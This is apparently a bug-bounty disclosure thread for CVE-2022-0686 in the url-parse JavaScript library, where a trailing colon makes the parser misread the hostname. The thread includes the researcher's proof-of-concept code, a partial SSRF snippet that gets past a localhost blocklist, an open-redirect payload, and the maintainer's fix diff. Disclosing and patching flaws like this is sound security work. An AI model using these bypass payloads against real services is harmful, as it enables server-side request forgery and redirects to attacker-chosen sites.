Authorization Bypass Through User-Controlled Key in unshiftio/url-parse

0

✓ Valid Reported on Feb 17th 2022

Description

`url-parse` is unable to find the correct hostname when no port number is provided in the url.
Payload: `http://example.com:`

Proof of Concept

```
var Url = require('url-parse');
var PAYLOAD = "http://example.com:";

// Expected hostname: example.com
// Actual hostname by url-parse: example.com:
console.log(Url(PAYLOAD));
```

OUTPUT:

```
{
  slashes: true,
  protocol: 'http:',
  hash: '',
  query: '',
  pathname: '/',
  auth: '',
  host: 'example.com:',
  port: '',
  hostname: 'example.com:',
  password: '',
  username: '',
  origin: 'http://example.com:',
```

Chat with us

```
    href: 'http://example.com:/'
  }
```

Impact

It can lead to SSRF, Open Redirect or any other vulnerability which depends on the `hostname` field of parsed url.

Occurrences

JS index.js L42-L562

CVE
CVE-2022-0686
(Published)

Vulnerability Type
CWE-639: Authorization Bypass Through User-Controlled Key

Severity
Medium (6.5)

Visibility
Public

Status
Fixed

Found by

Rohan Sharma
@r0hansh
unranked

Fixed by

Luigi Pinca
@lpinca
maintainer

Chat with us

This report was seen 2,559 times.

We are processing your report and will contact the **unshiftio/url-parse** team within 24 hours.
9 months ago

Rohan Sharma 9 months ago Researcher

php

```
php > var_dump(parse_url('http://example.com:')['host']);
string(11) "example.com"
```

---

python

```
>>> from urllib.parse import urlparse
>>> urlparse("http://example.com:").hostname
'example.com'
```

SSRF PoC(partial - to explain the exploit)

```
const Url = require("url-parse");
const axios = require('axios');

var PAYLOAD = "http://127.0.0.1:";

parsedData = Url(PAYLOAD);

// Blacklist few domains
if (parsedData.hostname !== '127.0.0.1') {

        console.log("BYPASSED...");

        axios.get(PAYLOAD).then(function (resp) {
    console.log("Sent the request to " + resp.request._currentUrl);
  })
  .catch(function (error) {
    console.log("Sent the request to " + error.request._currentUrl);
  });
```

Chat with us

```
}
```

Output:

```
BYPASSED...
Sent the request to http://127.0.0.1/
```

We have contacted a member of the **unshiftio/url-parse** team and are waiting to hear back
9 months ago

Luigi Pinca 9 months ago Maintainer

The library can return invalid hostnames. This is documented. It is user responsibility to validate the hostname before doing any check against it.

Rohan Sharma 9 months ago Researcher

Oh. I did not notice. That part of documentation was just added 7 days ago (12th Feb).

However, there were a number of issues which exploit this `hostname` issue and has been accepted by url-parse like https://advisory.checkmarx.net/advisory/CX-2021-4306 and others present in huntr.dev's hacktivity.

Rohan Sharma 9 months ago Researcher

```
origin: 'http://example.com:',
href: 'http://example.com:/'
```

not only host and hostname are affected.

Chat with us

Luigi Pinca 9 months ago Maintainer

Yes, they are not the same because the parsed hostname was empty or valid, but it is the reason why I did not reject this yet. That and because this is a parsing error.

Luigi Pinca 9 months ago Maintainer

not only host and hostname are affected.

Yes, everything that includes the hostname.

Rohan Sharma 9 months ago Researcher

ok. cool.
I will wait for the final decision.

Luigi Pinca 9 months ago Maintainer

I think I have a potential fix

```
diff --git a/index.js b/index.js
index d808b13..c5a2a11 100644
--- a/index.js
+++ b/index.js
@@ -39,7 +39,7 @@ var rules = [
   ['/', 'pathname'],                    // Extract from the back.
   ['@', 'auth', 1],                     // Extract from the front.
   [NaN, 'host', undefined, 1, 1],       // Set left over value.
-  [/:(\d+)$/, 'port', undefined, 1],    // RegExp the back.
+  [/:(\d*)$/, 'port', undefined, 1],    // RegExp the back.
   [NaN, 'hostname', undefined, 1, 1]    // Set left over.
 ];

@@ -524,6 +524,7 @@ function toString(stringify) {

   var query
     , url = this
+    , host = url.host
     , protocol = url.protocol;

   if (protocol && protocol.charAt(protocol.length - 1) !== ':') pro
@@ -542,7 +543,7 @@ function toString(stringify) {
```

Chat with us

```
    } else if (
      url.protocol !== 'file:' &&
      isSpecial(url.protocol) &&
-     !url.host &&

+     !host &&
      url.pathname !== '/'
    ) {
      //
@@ -552,7 +553,13 @@ function toString(stringify) {
      result += '@';
    }

-   result += url.host + url.pathname;
+   //
+   // Trailing colon is removed from `url.host` when it is parsed. If it still
+   // ends with a colon, then add back the trailing colon that was removed. This
+   // prevents an invalid URL from being transformed into a valid one.
+   //
+   if (host[host.length - 1] === ':') host += ':';
+   result += host + url.pathname;

    query = 'object' === typeof url.query ? stringify(url.query) : url.query;
    if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;
```

but the problem I see is that there might be more trailing colons. The fix handles that case by putting back the removed trailing colon if it was not the only one. This is ok if the resulting URL (`url.href`) is parsed with a parser implementing the WHATWG URL Standard as it will be recognized as invalid. However other parsers might behave differently. For example, PHP `parse_url()` has the same vulnerability described in the original description:

```
$ cat test.php
<?php
var_dump(parse_url("http://example::"));
$ docker run -it --rm -v $(pwd):/tmp php:cli-alpine php /tmp/test.php
array(2) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(8) "example:"
}
```

I'm inclined to reject this because again, the issue here is that the returned h Chat with us
so checking it against a blacklist of valid hostnames does not make sense. The
holding me back is that the browser URL parser accepts the URL in the original description as

valid and parses it differently from `url-parse` . Anyway, this is arguably more a bug than a security vulnerability, given that the documentation of `url-parse` , specifies that invalid hostnames might be returned.

Thoughts?

Rohan Sharma 9 months ago Researcher

```
but the problem I see is that there might be more trailing colons
```

Yes, as mentioned by you that the url will be considered invalid in that case. so, no issues. fix looks good to me.

Yes, as per your documentation, you can not consider this as a security bug. But, yes I should have looked at the updated documentation first, but I started my research after reading the `url-parse` reports on huntr.dev and thought you accept these kinds of bugs just like other url parsers present on the internet.

```
Yes, they are not the same because the parsed hostname was empty or valid, but it is t
```

I have another payload to counter this statement.

```
var Url = require('url-parse');
var PAYLOAD = "//example.com";

console.log(Url(PAYLOAD));
```

```
{
  slashes: true,
  protocol: '',
  hash: '',
  query: '',
  pathname: '//example.com',
```

Chat with us

```
    auth: '',
    host: '',
    port: '',
    hostname: '',
    password: '',
    username: '',
    origin: 'null',
    href: '//example.com'
  }
```

The hostname is *empty*.

`window.location = "//example.com"` will redirect to `http://example.com`
302 redirect with `Location: //example.com` will do the same.
`<a href="//example.com"> click here </a>` same

What do you think of this payload from securty point of view? I think this payload exploits a security bug which aligns with your documentation.

Luigi Pinca 9 months ago Maintainer

What do you think of this payload from securty point of view? I think this payload exploits a security bug which aligns with your documentation.

In that case there is no protocol. There is not much the library can do about that. It is working as intended. It's a protocol relative URL.

Rohan Sharma 9 months ago Researcher

ok

Luigi Pinca 9 months ago Maintainer

FWIW, I should have rejected https://www.huntr.dev/bounties/83a6bc9a-b542-4a38-82cd-d995a1481155/ for the same reason. An empty hostname is not valid and if you read the discussion you'll see that I've mentioned that.

Chat with us

Luigi Pinca validated this vulnerability 9 months ago

Rohan Sharma has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Luigi Pinca marked this as fixed in 1.5.8 with commit d5c647 9 months ago

Luigi Pinca has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

index.js#L42-L562 has been validated ✓

Sign in to join this conversation